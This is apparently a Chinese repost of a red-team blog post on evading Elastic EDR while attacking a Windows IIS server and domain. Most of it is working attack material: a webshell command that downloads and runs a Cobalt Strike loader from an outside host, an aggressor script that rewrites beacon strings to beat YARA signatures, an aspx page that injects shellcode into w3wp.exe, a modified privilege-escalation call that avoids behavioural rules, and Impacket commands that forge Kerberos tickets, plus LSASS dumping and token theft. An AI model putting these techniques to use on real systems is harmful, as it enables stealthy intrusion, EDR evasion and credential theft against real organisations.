第1部分
在最近的一次评估中,我和我的队友的任务是对多个应用程序进行网络安全审查,如果有机会,还可以进行内部渗透测试。
在其中一个应用程序上,我们成功上传了一个执行Windows cmd的aspx webshell,这种参与并不要求我们保密。
这篇博文的目的是重现我们通过 Elastic EDR 监视我们所做的事情。
我们下载了CobaltStrike加载程序并执行它
curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=powershell wget http://xxxx.com/load.exe -outfile C:\Windows\Temp\load.exe'
curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=C:\Windows\Temp\load.exe'
Web Shell Detection: Script Process Child of Common Web Processes 因为IIS进程w3wp.exe产生了cmd.exe
我们利用的下一步是将我们的权限从本地服务帐户升级到本地管理员。
滥用SeImpersonatePrivilege权限升级到SYSTEM(我们在参与过程中使用了这种方式)
滥用KerberosS4U2Self为具有本地管理员权限的域用户生成服务票据
我们使用GodPotato来利用SeImpersonatePrivilege
beacon> execute-assembly /home/user/Tools/Windows/GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\load.exe"
获得系统权限后,我们启动内置的mimikatz命令来从LSASS转储凭据。
LSASS Process Access via Windows API
正如我们所看到的,在攻击路径的不同阶段有很多机会检测我们的行为:
通过execute- assembly执行.NET程序集
LSASS转储
第2部分
CobaltStrike修改
https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature
当您了解Yara规则时,很容易规避它们……可以在此处找到Elastic EDR规则。
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar
我使用xforcered/BokuLoader(10 月以上版本)来增强Cobalt Strike信标的规避能力。此版本包含调用堆栈欺骗功能,可绕过基于调用堆栈分析的Elastic EDR规则,您可以在这里了解更多信息。
https://github.com/xforcered/BokuLoader
https://dtsec.us/2023-09-15-StackSpoofin/
在Cobalt Strike中包含用户定义的反射加载器之后,我对进行了以下更改以bokuloader.cna绕过Elastic EDR yara规则:
sub boku_strrep {
local('$beacon_dll');
$beacon_dll = $1;
$beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "__BokuLo4d3r____");
$beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "13367321236742382543232341241261363163151d");
$beacon_dll = strrep($beacon_dll, "(admin)", "(2omin)");
$beacon_dll = strrep($beacon_dll, "beacon", "b4con5");
$beacon_dll = strrep($beacon_dll, "%s as %s\\%s: %d", "%s -> %s\\%s: %d");
$beacon_dll = strrep($beacon_dll, "%02d/%02d/%02d %02d:%02d:%02d", "%02d/%02d/%02d>%02d:%02d:%02d");
$beacon_dll = strrep($beacon_dll, "This program cannot be run in DOS mode", "13367321236742383543232341221261363163");
println("DEBUG - change DOS stub");
$beacon_dll = strrep($beacon_dll, "\x4D\x5A\x41\x52\x55\x48\x89\xE5", "\x4D\x5A\x41\x52\x55\x48\x89\xE5\x90");
return $beacon_dll;
}
此时,Elastic EDR 不应将 Cobalt Strike Reflective DLL 检测为Windows.Trojan.CobaltStrike.
但是,如果检测到恶意行为,Elastic EDR仍会发出警报:
现在我们有了一个更加隐蔽的信标,我们可以开始攻击Windows服务器了。
为此,我制作了一个C#网页,它将Cobalt Strike信标注入当前IIS进程w3wp.exe
<%@ Page Language="c#"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Threading.Tasks" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Linq" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
/*
Flags and functions import
...
*/
public string ServerSideFunction()
{
byte[] data = new byte[REPLACE_ME] { REPLACE_ME };
IntPtr pHandle = (IntPtr)(-1);
if (pHandle == IntPtr.Zero)
return "OpenProcess failed " + Marshal.GetLastWin32Error();
IntPtr addr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)data.Length, AllocationType.Commit, AllocationProtect.PAGE_READONLY);
if (addr == IntPtr.Zero)
return "VirtualAllocEx failed";
uint lpflOldProtect = 0;
bool res = false;
res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000004, out lpflOldProtect);
if (res == false)
return "VirtualProtectEx RW failed";
IntPtr sc = Marshal.AllocHGlobal(data.Length);
if (sc == IntPtr.Zero)
return "AllocHGlobal failed";
RtlZeroMemory(sc, data.Length);
UInt32 getsize = 0;
NTSTATUS ntstatus = NtWriteVirtualMemory(pHandle, addr, data, (uint)data.Length, ref getsize);
if (getsize == 0)
return "NtWriteVirtualMemory failed";
res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000020, out lpflOldProtect);
if (res == false)
return "VirtualProtectEx RX failed";
IntPtr Thread_id = IntPtr.Zero;
IntPtr tHandle = CreateRemoteThread(
pHandle,
IntPtr.Zero,
0,
(IntPtr)0xfff,
IntPtr.Zero,
(uint)CreationFlags.CREATE_SUSPENDED,
out Thread_id);
QueueUserAPC(addr, tHandle, 0);
ResumeThread(tHandle);
CloseHandle(pHandle);
CloseHandle(tHandle);
return "OK";
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>ASP.NET inline</title>
</head>
<body>
<% =ServerSideFunction() %>
</body>
</html>
其作用是:
获取当前进程的句柄
当页面被调用时,我们得到了信标。
在这一步中,我从Elastic EDR获得了零检测。
我知道有两种执行权限升级的方法:
SeImpersonateToken利用Potato家族漏洞滥用特权
滥用S4U2SelfKerberos代表具有本地管理员权限的域用户伪造服务票据
两种方法都可以使用:
实际上,当域控制器上未强制执行LDAP签名(默认配置)时,存在一种通用的权限升级路径,但我稍后将专门撰写一篇博客文章来讨论这一点。
https://github.com/Prepouce/CoercedPotato
由于我们不想在磁盘上放置和执行任何内容,因此我将CoercedPotato分叉并“转换”为反射DLL,您可以在之前的博客文章中阅读相关内容。
https://github.com/sokaRepo/CoercedPotatoRDLL
https://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html
当我测试 Reflective DLL 时,我惊讶地发现 Elastic EDR 最近添加了一个恶意行为检测规则,而该规则在一两个月前还不存在…… =)
我认为检测可能基于:
使用已知的“恶意”功能CreateProcessAsUser/CreateProcessWithTokenW
如果我们看看CreateProcessAsUserIDA正在做什么:
该函数只是将参数转发给CreateProcessInternalWfrom KernelBase.dll,我们可以在CoercedPotatoRDLL代码中使用它:
typedef BOOL(WINAPI* fnCreateProcessInternalW)(
HANDLE,
LPCWSTR,
LPWSTR,
LPSECURITY_ATTRIBUTES,
LPSECURITY_ATTRIBUTES,
BOOL,
DWORD,
LPVOID,
LPCWSTR,
LPSTARTUPINFOW,
LPPROCESS_INFORMATION
);
fnCreateProcessInternalW CreateProcessInternalW;
CreateProcessInternalW = (fnCreateProcessInternalW)GetProcAddress(
GetModuleHandle(L"kernelbase.dll"),
"CreateProcessInternalW"
);
if (!CreateProcessInternalW(hSystemTokenDup,
g_pwszProcessName,
g_pwszCommandLine,
NULL,
NULL,
g_bInteractWithConsole,
dwCreationFlags,
lpEnvironment,
pwszCurrentDirectory,
&si,
&pi))
wprintf(L"CreateProcessInternalW failed, error = %d\n", GetLastError());
else
wprintf(L"CreateProcessInternalW seems OK");
通过这些修改,Elastic EDR不再发出有关权限升级的警报!
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
一旦我们有了它,我们就可以滥用Kerberos S4U2Self来请求服务票证,该服务票证模拟具有计算机上本地管理员权限的域用户。
不幸的是,我未能仅使用Cobalt Strike成功执行此步骤,因此我在Linux VM上使用了SOCKS代理和Impacket。
> echo -n 'ticket...' | base64 -d > web1.kirbi
> ticketConverter.py web1.kirbi web1.ccache
> export KRB5CCACHE=web1.ccache
> git clone https://github.com/ThePorgs/impacket/
# install it
# carreful with SPN name, try lower case and upper case for "HTTP"
# I skipped the SOCKS proxy part here
> getST.py -self -impersonate "sadmin" -altservice "HTTP/web1.crash.lab" -k -no-pass -dc-ip 10.100.10.5 'crash.lab/web1$'
# use this to debug
> export KRB5_TRACE=/dev/stdout
> export KRB5CCNAME=sadmin@[email protected]
# update /etc/krb5.conf if GSS error
> evil-winrm.rb -i web1.crash.lab -r crash.lab
并以本地管理员身份弹出一个信标。
LSASS 凭证转储
当我们尝试使用内置Mimikatz命令提取凭据时,无法访问该进程。
如果我们尝试使用nanodump,我们会遇到相同的访问问题。
https://github.com/fortra/nanodump
如果我们关闭Credentials hardening,我们可以成功转储LSASS进程,而不会收到来自Elastic EDR的任何警报。
为了执行以下Keberos交互,我使用Kerbeus-BOF,但也可以使用nanorobeus(Kerbeus-BOF实际上基于nanorobeus)。
https://github.com/RalfHacker/Kerbeus-BOF
https://github.com/wavvs/nanorobeus/
这里我们转储属于sadmin用户的所有TGT。
如果我们不再有任何有效的TGT,我们可以查找在目标用户下运行的进程。
然后窃取其中一个进程的令牌。
并用它来请求TGT
从这里开始,我们可以代表sadmin用户采取行动并尝试在网络中横向移动。
原文地址:
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.html
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabili
文章来源:潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END